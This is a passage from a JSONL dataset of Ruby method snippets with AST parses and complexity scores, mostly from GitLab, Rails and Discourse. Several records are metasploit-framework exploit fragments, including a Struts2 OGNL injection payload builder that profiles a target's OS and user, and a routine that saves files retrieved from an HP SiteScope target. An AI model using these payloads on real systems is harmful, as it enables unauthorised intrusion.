file\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"hp.sitescope.file\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"lvar\",\"children\":[\"loot\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]},{\"type\":\"str\",\"children\":[\" saved in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to retrieve the file\"]}]}]}]}","id":"2ac51b45-a244-406c-a2fe-2a8647751959"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/entities/hook.rb","start_line":37,"raw_source":"def custom_headers\n        object.masked_custom_headers\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"masked_custom_headers\"]}]}","id":"9e5f1b89-b8a2-4f13-800d-99b73a2f1048"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_and_time_behavior.rb","start_line":154,"raw_source":"def test_next_weekday_on_saturday\n    assert_equal date_time_init(2015, 1, 5, 0, 0, 0), date_time_init(2015, 1, 3, 0, 0, 0).next_weekday\n    assert_equal date_time_init(2015, 1, 5, 15, 15, 10), date_time_init(2015, 1, 3, 15, 15, 10).next_weekday\n  end","complexity_score":16.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_next_weekday_on_saturday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"next_weekday\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},\"next_weekday\"]}]}]}]}","id":"ef86f0ad-8f41-4e00-9906-5673e4c9ccc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/assign_runner_service.rb","start_line":37,"raw_source":"def validate\n        unless @user.present? && @user.can?(:assign_runner, @runner)\n          return ServiceResponse.error(message: _('user not allowed to assign runner'),\n            reason: :not_authorized_to_assign_runner)\n        end\n\n        unless @user.can?(:create_runners, @project)\n          return ServiceResponse.error(message: _('user is not authorized to add runners to project'),\n            reason: :not_authorized_to_add_runner_in_project)\n        end\n\n        if runner.owner && project.organization_id != runner.owner.organization_id\n          return ServiceResponse.error(message: _('runner can only be assigned to projects in the same organization'),\n            reason: :project_not_in_same_organization)\n        end\n\n        ServiceResponse.success\n      end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"assign_runner\"]},{\"type\":\"ivar\",\"children\":[\"@runner\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"user not allowed to assign runner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"not_authorized_to_assign_runner\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"create_runners\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"user is not authorized to add runners to project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"not_authorized_to_add_runner_in_project\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner\"]},\"owner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"organization_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner\"]},\"owner\"]},\"organization_id\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"runner can only be assigned to projects in the same organization\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"project_not_in_same_organization\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]}]}","id":"ca9c9943-c04d-482f-b6e8-96ba16234a6c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manageengine_apps_mngr.rb","start_line":40,"raw_source":"def target_url\n    uri = normalize_uri(datastore['URI'])\n    \"http://#{rhost}:#{rport}#{uri}\"\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"target_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]}","id":"5f591493-bc77-46f3-9320-5c1a40d4da3b"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/loader.rb","start_line":5,"raw_source":"def initialize(schema_config)\n      @schema_config = schema_config\n      @global = GlobalConfig.new(@schema_config)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"schema_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@schema_config\",{\"type\":\"lvar\",\"children\":[\"schema_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@global\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalConfig\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@schema_config\"]}]}]}]}]}","id":"251cb13c-a869-4a67-8200-23a0427e675c"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/spec/should_reek_of.rb","start_line":67,"raw_source":"def matching_smell_details?\n        matching_smell_types.any? { |warning| warning.matches_attributes?(smell_details) }\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_smell_details?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matching_smell_types\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"warning\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"matches_attributes?\",{\"type\":\"send\",\"children\":[null,\"smell_details\"]}]}]}]}","id":"6516fe21-8126-4097-a5a9-02b543ca2bd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/profile.rb","start_line":205,"raw_source":"def unknown_sign_in_email(user, ip, time, request_info = {})\n      @user = user\n      @ip = ip\n      @city = request_info[:city]\n      @country = request_info[:country]\n      @time = time\n      @target_url = edit_user_settings_password_url\n\n      email_with_layout(\n        to: @user.notification_email_or_default,\n        subject: subject(_(\"%{host} sign-in from new location\") % { host: Gitlab.config.gitlab.host }))\n    end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unknown_sign_in_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"optarg\",\"children\":[\"request_info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ip\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@city\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"city\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@country\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"country\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@time\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_url\",{\"type\":\"send\",\"children\":[null,\"edit_user_settings_password_url\"]}]},{\"type\":\"send\",\"children\":[null,\"email_with_layout\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"notification_email_or_default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"subject\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{host} sign-in from new location\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"host\"]}]}]}]}]}]}]}]}]}]}","id":"72aa3c8c-48c4-42fc-85c4-615de5c8851d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/breadcrumbs_helper.rb","start_line":4,"raw_source":"def add_to_breadcrumbs(text, link)\n    @breadcrumbs_extra_links ||= []\n    @breadcrumbs_extra_links.push({\n      text: text,\n      link: link\n    })\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_breadcrumbs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@breadcrumbs_extra_links\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@breadcrumbs_extra_links\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]}]}]}","id":"3ece35ba-9862-426e-ad97-76d868357e63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/pull_request.rb","start_line":49,"raw_source":"def source_branch_sha\n        source_branch&.dig('commit', 'hash')\n      end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"source_branch_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_branch\"]},\"dig\",{\"type\":\"str\",\"children\":[\"commit\"]},{\"type\":\"str\",\"children\":[\"hash\"]}]}]}","id":"6329788f-5f7d-46a4-b438-a93465f424e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/wiki_link_filter.rb","start_line":39,"raw_source":"def process_link(link_attr, node)\n        process_link_attr(link_attr, node)\n        remove_unsafe_links({ node: node }, remove_invalid_links: false)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link_attr\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_link_attr\",{\"type\":\"lvar\",\"children\":[\"link_attr\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_unsafe_links\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_invalid_links\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"1f36a745-9876-4f46-ab45-1bceaa855316"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts2_namespace_ognl.rb","start_line":227,"raw_source":"def send_profile\n    # Use OGNL to extract properties from the Java environment\n\n    properties = {\n      'os.name': nil, # e.g. 'Linux'\n      'os.arch': nil,          # e.g. 'amd64'\n      'os.version': nil,       # e.g. '4.4.0-112-generic'\n      'user.name': nil,        # e.g. 'root'\n      # 'user.home': nil,       # e.g. '/root' (didn't work in testing)\n      'user.language': nil,\n    } # e.g. 'en'\n    # 'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)\n\n    ognl = \"\"\n    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n    ognl << %Q|('#{rand_text_alpha(2)}')|\n    properties.each do |k, v|\n      ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|\n    end\n    ognl = ognl[0...-4]\n\n    r = send_struts_request(ognl)\n\n    if r.code == 400\n      fail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\")\n    elsif r.headers['Location']\n      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'\n      #   Extract the OGNL output from the Location path, and strip the two random chars\n      s = r.headers['Location'].split('/')[1][2..-1]\n\n      if s.nil?\n        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.\n        #   But we didn't get any output, so we can't profile the target.  Abort.\n        return nil\n      end\n\n      # Confirm that all fields were returned, and non include extra (:) delimiters\n      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.\n      if s.count(':') > properties.length\n        print_error(\"Failed to profile target.  Response from server: #{r.to_s}\")\n        fail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\")\n      end\n\n      # Separate the colon-delimited properties and store in the 'properties' hash\n      s = s.split(':')\n      i = 0\n      properties.each do |k, v|\n        properties[k] = s[i]\n        i += 1\n      end\n\n      print_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" +\n        \" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\")\n      return properties\n    else\n      print_error(\"Failed to profile target.  Response from server: #{r.to_s}\")\n      fail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\")\n    end\n  end","complexity_score":73.8,"ast_json":"{\"type\":\"def\",\"children\":[\"send_profile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os.name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os.arch\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os.version\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user.name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user.language\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ognl\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ENABLE_STATIC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ognl\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(#_memberAccess['allowStaticMethodAccess']=true).\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ognl\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ognl\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"+(@java.lang.System@getProperty('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"'))+':'\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ognl\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ognl\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-4]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"send_struts_request\",{\"type\":\"lvar\",\"children\":[\"ognl\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"count\",{\"type\":\"str\",\"children\":[\":\"]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to profile target.  Response from server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Target responded with unexpected profiling data\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target profiled successfully: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os.name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os.version\"]}]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os.arch\"]}]}]},{\"type\":\"str\",\"children\":[\", running as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user.name\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to profile target.  Response from server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Server did not respond properly to profiling attempt.\"]}]}]}]}]}]}]}","id":"8a55a7e1-bb0c-45c0-9323-e5fa4c0616e8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/firmware_registry.rb","start_line":51,"raw_source":"def self.display_name(number = 1)\n    n_('Firmware Registry', 'Firmware Registries', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Firmware Registry\"]},{\"type\":\"str\",\"children\":[\"Firmware Registries\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"2e95663b-8641-40ae-9262-68342160dd2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/destroy_task.rb","start_line":105,"raw_source":"def destroy_private_messages\n    Topic\n      .where(archetype: \"private_message\")\n      .find_each do |pm|\n        @io.puts \"Destroying #{pm.slug} pm\"\n        first_post = pm.ordered_posts.first\n        @io.puts PostDestroyer.new(\n                   Discourse.system_user,\n                   first_post,\n                   context: I18n.t(\"staff_action_logs.cli_bulk_post_delete\"),\n                 ).destroy\n      end\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_private_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"str\",\"children\":[\"private_message\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@io\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Destroying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pm\"]},\"slug\"]}]},{\"type\":\"str\",\"children\":[\" 